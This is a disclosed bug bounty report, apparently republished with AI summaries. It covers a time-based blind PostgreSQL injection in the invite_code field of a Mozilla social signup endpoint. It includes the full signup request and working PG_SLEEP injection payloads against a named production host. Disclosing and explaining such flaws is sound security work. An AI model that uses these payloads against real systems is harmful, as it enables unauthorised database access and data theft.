SQL Injection on prod.oidc-proxy.prod.webservices.mozgcp.net via invite_code parameter - Mozilla social inscription
The invite_code parameter in the signup request was vulnerable to PostgreSQL injection, confirmed by time-based blind tests. An attacker could potentially read or modify database data, though the report only demonstrates the injection and does not show data exfiltration.
- Disclosed after 4 months
Hi everyone,
Hope you are well !
I wanted to play on https://mozilla.social, however this requires a user account and an invitation code as it's not open to the public. When entering an invitation code, the user is redirected to prod.oidc-proxy.prod.webservices.mozgcp.net.

Playing around with what's on offer, I've noticed that the invite_code parameter is vulnerable to a PostgreSQL injection.
Steps To Reproduce:
During registration, the following POST request is made :
POST /interaction/KTTbkN8LaJgYIb7fIwPYX/signup HTTP/2
Host: prod.oidc-proxy.prod.webservices.mozgcp.net
Cookie: <session_cookies>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.9999.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Origin: null
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-Ch-Ua-Platform: "macOS"
Sec-Ch-Ua: "Google Chrome";v="103", "Chromium";v="103", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Te: trailers
handle=xxx&display_name=xxx&invite_code=xxx-&age=25&terms=on&rules=on
Adding a single quote to the invite_code parameter returns a 500 error, and adding a second quote returns a 200. Red flag
After a few tests, here is a time-based blind payload to confirm the vulnerability :
invite_code=xxx');(SELECT 4564 FROM PG_SLEEP(5))--

Confirm with the response from the server - which takes 5 seconds to reply.
Now, 10 seconds :
invite_code=xxx');(SELECT 4564 FROM PG_SLEEP(10))--

Same here, 10 secs before getting an answer.
20 sec :
invite_code=xxx');(SELECT 4564 FROM PG_SLEEP(20))--

etc.
Impact
From OWASP :
A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.
I'm working on a data exfiltration and will update the report as needed.
Looking forward to exchanging.
Regards, Supr4s
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application built a SQL query by directly concatenating the user-supplied invite_code value without parameterisation or escaping.
Impact
A successful SQL injection could allow reading sensitive data, modifying database data, executing administration operations, or in some cases issuing operating system commands, but the report only confirms the injection and does not demonstrate data exfiltration.
What the attacker needed
A user account; an invitation code
How it was found
- Send a signup POST request with a single quote in the invite_code parameter and observe a 500 error.
- Send the same request with two quotes and observe a 200 response.
- Inject a time-based payload that calls a database sleep function for 5 seconds and confirm the delayed response.
- Repeat with 10-second and 20-second delays to further confirm the injection.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is when user input is inserted into a database query without proper handling, letting an attacker change the query's meaning. Here, the invite code field was not sanitised, so adding special characters changed the database command. The tester confirmed this by making the database wait for several seconds, showing the injected command ran.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.